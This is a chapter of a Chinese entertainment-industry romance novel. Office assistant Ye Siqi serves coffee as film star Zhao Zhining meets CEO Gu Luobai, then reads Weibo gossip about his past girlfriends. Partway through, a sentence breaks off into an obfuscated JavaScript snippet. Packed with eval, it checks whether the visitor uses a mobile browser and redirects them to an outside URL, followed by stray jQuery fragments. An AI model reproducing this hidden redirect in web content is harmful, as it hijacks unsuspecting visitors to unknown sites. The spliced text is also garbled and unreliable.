今天，嘉亿沸腾了。
国际影后赵芷凝的保姆车停在了嘉亿大楼门口，她只穿了宽松T恤和牛仔裤，戴了顶鸭舌帽，透着随性的美感，被簇拥着进了电梯。
电梯里全挤着挂着工牌的工作人员，偷瞄着影后的面容。
在各个楼层，他们恋恋不舍地下了电梯。
赵芷凝一直保持着微笑，对每个楼层的粉丝都轻轻挥了挥手。
嘉亿的员工雀跃地原地跳步，电梯门一关，立刻在手机上买了点自己公司的股票。
不管是谈合作还是经济约，只要嘉亿传媒是赵芷凝在内地第一个意向约公司，嘉亿的股票绝对飞涨。
柴滢迎着赵芷凝进总裁办，远远招呼叶思琪道：“思琪，两杯咖啡。”
“好——”叶思琪从工位上猛地抬头，立马站起来去冲咖啡。
先是按惯例给杯顾洛白冲了一杯，又在网上搜了搜赵芷凝的口味。
一想网上的信息未必准确，不如直接问顾恺嘉，叶思琪当机立断给他拨了电话。
连着两个，顾恺嘉没接。
叶思琪疑惑，平日里早晚给她发微信，问她喝奶茶还是吃什么甜品，今天一条信息也没有，还不接电话？
她作罢，冲了两杯一样的咖啡。
落地窗外的天色正亮，办公室的灯没什么作用，但还是全开着。正对办公桌的那面85寸液晶电子屏幕显示实时的股票界面，总体是向上的大好趋势。
顾洛白头也不抬，手里翻看最新的标书文件。
“好久不见，洛白。”赵芷凝也不在意，落落大方在他面前坐了下来，“我以为你会来找我的，没想到还是我先来找你了。”
顾洛白喉结不自觉滚动一下，一指按下内线通话的快捷键，吩咐道：“让池芸来一下。”
“你打算一直不理我吗。”赵芷凝浅笑，心中是十拿九稳的自信，“当年的事，我们各有难处。如果你早说是小嘉的兄弟，我也不会……”
“赵小姐——”顾洛白打断她的话，声音低沉却带着不容置疑的力量，“我并不觉得我们有什么旧情可续。如果你有国内发展的需求，我们嘉亿倒是欢迎。”
“你现在挺支持我的。”
顾洛白收起标书，目光平静地看向透着傲气的影后。
当年他借着送顾恺嘉上学的名义，买了张英国飞洛杉矶的机票。
落地机场的那一刻，他扔了电话卡，只带着两千美金在当地游荡。
这是能彻底摆脱顾康台控制和他眼线的机会，他不怕吃苦，一个人打零工也够养活自己。
他就是在中餐厅认识赵芷凝的，两人搭伙租了套2B的老破房子，占了薪水的三分之一。
那段平静安稳的日子让顾洛白差点产生错觉，觉得就这么活下去也不错。
顾洛白甘于现状，可赵芷凝不愿意，她想顾洛白出资支持她的演艺事业，即使是杯水车薪，但也可以让她在各个场合上露脸，拓展人脉。
两人的争吵为无聊的日子平添了烦恼。
直到有一天——
赵芷凝收拾行李要离开。
叩——叩——
两声，随之是一道清丽的女声，喊道：“顾总。”
顾洛白从回忆中醒神，抬手按了按眉心，唇角不自觉勾起一抹淡笑。
“请进。”
叶思琪端着两杯咖啡，浅蓝色的宽裤脚随着步伐飘动。长发被鲨鱼夹固定在脑后，几缕碎发垂在脸颊旁，勾勒出线条流畅的侧脸。
“您好，不知道您的爱好，按顾总的口味冲了一杯。”叶思琪端端正正将咖啡放在了赵芷凝的眼跟前，笑容也是沾了水的清甜。
“谢谢。”赵芷凝回应，“我和他口味差不错。”
嗯？
他俩也不是第一天认识？不然怎么知道口味差不多？
叶思琪的一双瞳眸亮得像浸润了水光的琉璃珠，滴溜溜地转了一圈，长睫毛兴奋地颤动。
她动作迟缓，似是想再多攫取些什么情报。
顾洛白也不避开她，直接冷冷说道：“人的口味会变，有些人有所图，不喜欢的也会说成喜欢，笑着咽下去。”
他食指勾过杯柄，指腹无意识摩挲着杯沿，冒着的热气的咖啡与眼底的寒霜形成鲜明的对比。
叶思琪听不到什么八卦，收了杯托回工位看新闻。
恰好池芸从楼下过来，找顾洛白谈事，她将三份合同放在叶思琪的桌上，嘱咐她等会儿商量叶思媛的公关方案。
叶思琪应下后，登了微博，查看最新信息。
热搜上几个主题格外显眼——
#严广诚秦晴#
#黑皮体育生&当红女明星#
叶思琪脑中闪过一排问号，半天没想出来这两人之间的交集。
她早就屏蔽掉严广诚的账号，点进去才发现人官宣了新女友，附了一张合照。
他怀里抱着长相甜美的女人，左手紧紧箍在女人的手臂，外套上移一大截，露出一块价值不菲的腕表。
评论里全是祝福。
有夸秦晴上升期官宣男友，是当红女星中有胆量的表现。也有秦晴粉丝在严广诚微博团建，叮嘱他照顾好自家宝贝的。
更有甚者，表扬他从顾洛白的魔爪下，维护了秦晴这个天真可爱的小女孩的。
「顾洛白就会嚯嚯漂亮女明星，秦晴哪是娱乐圈老油条的对手。」
「他比花心大萝卜好多了吧，一看条件也不差的。」
「顾洛白不会珍惜，自有人心疼我们宝贝。」
「顾总看到新闻不会把秦晴抢回去吧，可离远点。」
顾总，你的风评怎会沦落至此。
叶思琪看得两手臂鸡皮疙瘩。
很想顶着微博大号的粉丝量去阴阳两句，但她忍住了。
相关话题中，有一些评论引起了叶思琪的注意——
「刚说赵芷凝去嘉亿了啊！」
「国际影后目光不会这么差吧。」
「她和顾二少关系这么好，也不是没可能啊。」
「我是美留子，我知道内幕。」
叶思琪点进去自称是美国留学生的账号，她发了好几条顾洛白相关的微博，也带上了赵芷凝相关标签。
「你们没发现顾洛白的女友们的共通点吗！秦晴，叶思媛，姚怡珂……」
「把上下都挡了会发现！她们的眼睛很像。」
「陶奕安在综艺上都没认出姚怡珂的眼睛，还被骂了。说实话，那粉丝能认出来么。」
还有一条，她把提到的这些人的照片放了个九宫格，将赵芷凝的形象照放在了中间。附文字道——
「她们眼睛和赵芷凝都很像。」
评论区已经有人跟帖讨论起来了——
「顾二少和赵芷凝认识，那顾少肯定也认识啊。」
「赵芷凝该不会是顾洛白的初恋吧！」
「怪不得谈的女朋友都是圈里的，想再捧一个影后出来呗。」
「白月光什么的！」
「她们也挺惨的，影后替身文学啊～～」
「恭喜秦晴脱离苦海。」
「那叶思媛还霸凌过严帅哥！」
「照你这么说，叶思媛和顾洛白可真是什么锅配什么盖了。」
就这么一小会儿，关于顾洛白、叶思媛、秦晴、严广诚四人之间的爱恨情仇被网友串成了一条线，严广诚和秦晴的热度直线上升，微博粉丝翻了个倍。
叶思琪眼不见为净，从严广诚和秦晴的相关主题页退了出来。
这一讨论，掀起了一波网友对顾洛白和赵芷凝间关系的猜测。
要不是两个人此时此刻正在洽谈商务，叶思琪真就信了。
她一向讲究证据，喜欢直接验证。
她选了一条微博转发给顾恺嘉，问——
「影后还认识你哥呢？」
顾恺嘉这会儿倒是回复得挺快——
「不认识吧？都瞎说。我在美国读书我哥都没来看过我。」
「她今天去嘉亿了啊？那我等会儿也去。」
叶思琪回了个OK的手势，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363787|183825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随即津津有味地看起网友的分析。
她两指划拉开赵芷凝和叶思媛的眼睛特写，越品越砸吧出滋味。
不得不说，还真挺像的。
眼睛都像片柳叶，眼尾略微上翘，内眼角朝下，勾出惑人的弧度。只不过赵芷凝的眼睛更狭长，眼尾更加张扬些。
秦晴也是这个眼型，但内外眼角都更加圆润。
赵芷凝真是顾洛白的白月光？
还是说，顾洛白就喜欢这款啊。
“思琪。”远远的，池芸打断叶思琪的思绪，“帮我把方案B复印一份递过来。”
“好。”叶思琪应声，挑出第二份合同，仔细复印着每一页。
瞥见几项条例，叶思琪有些惊讶。
赵芷凝真要在国内发展？
算了，那会儿她都回去上学了，和她也没什么关系，还是简单赚两个月钱得了。
叶思琪对齐合同，用订书机装订好，敲门递给池芸。
池芸只是在里面待了一会儿就出了顾洛白的办公室，到叶思琪旁边坐了下来。
“有看微博么，严广诚和秦晴。”
叶思琪点头。
不光看了，还已经追完了最新剧情。
“据我所知，有档情侣综艺找上了他俩，所以提前预热。叶思媛这事刚被压下去又被重新翻了出来，那版杂志又要往后推一期了。”
叶思琪摇摇头，说道：“我这边没什么保留的了，他要上综艺倒不是坏事，总会翻车的。”
“我也是这个意思。”池芸收回放叶思琪面前的三份合同，“但不能说完全没有影响，她本来能拿到一个不错的一番女主，黄了，只能先再接点配角了。”
“芸姐带总归是她的福气。”
“她像你一样会说话就更好了。”池芸笑着拍拍叶思琪的肩，准备离开时又回头补充，“你外形条件也很不错，五官和叶思媛有几分像，却多了股她没有的伶俐劲儿，在镜头前可塑性强。要是哪天想入行，随时找我。”
“哈哈，芸姐您抬举我了。”叶思琪干笑两声，“我可没这梦想。”
这话倒不是客套，她心里门儿清——
叶思媛把演艺当终身事业，更是下定决心要出人头地，非要在聚光灯下证明给谁看。
可这背后要付出什么，叶思琪比谁都清楚：赶不完的通告、藏不住的行程、喝杯咖啡都要被镜头盯着的日子，连最基本的个人隐私都成了奢侈品。
她打小就没这份野心，遇上点事也容易半途而废。换她再碰见严广诚这样煞笔的，不拼个你死我活就难受。
至于当大明星吗？
可能小时候不懂事，指着电视机里的一团美女中，穿着蓬蓬裙的童星说，想当个歌星吧。
那会儿只觉得被一堆美女姐姐围着好幸福，连空气里好像都飘着姐姐们身上香水的甜香。
不像身边的叶思媛，才几岁就整天摆个臭脸，说“要当就当最红的，不然没意思”。
而她小时候这个愿望已经实现了。
三个室友，各有千秋，她们收拾下都能组团出道。
可惜她们五音全的手脚不协调，手脚协调的五音不全，也都在忙着自己的专业。
还有她自己，是既跳不了舞，也唱不了歌。
比起当站在镜头前的明星，叶思琪其实更想当幕后的制片。
她享受拼图的过程，把演员、编剧、摄影师的长处凑在一起，最后拼出一部让人眼前一亮的作品。她喜欢这种“发掘闪光点”的感觉，喜欢看着零散的零件变成完整的成果，比自己站在聚光灯下还觉得踏实。
可这念头也就敢在心里转转。
当制片需要的财力、人力资源，是她不敢想的，对她来说简直是天方夜谭。
她也只能在网上开个小号当吃瓜博主，每天刷着圈内新闻，和粉丝聊两句追剧心得，吐槽两句资源咖的演技，夸夸实力派演员的动作戏，过过嘴瘾图个乐呵。
反正对她来说，凭着本事赚点钱——
简单发个小财，就已经足够舒心了。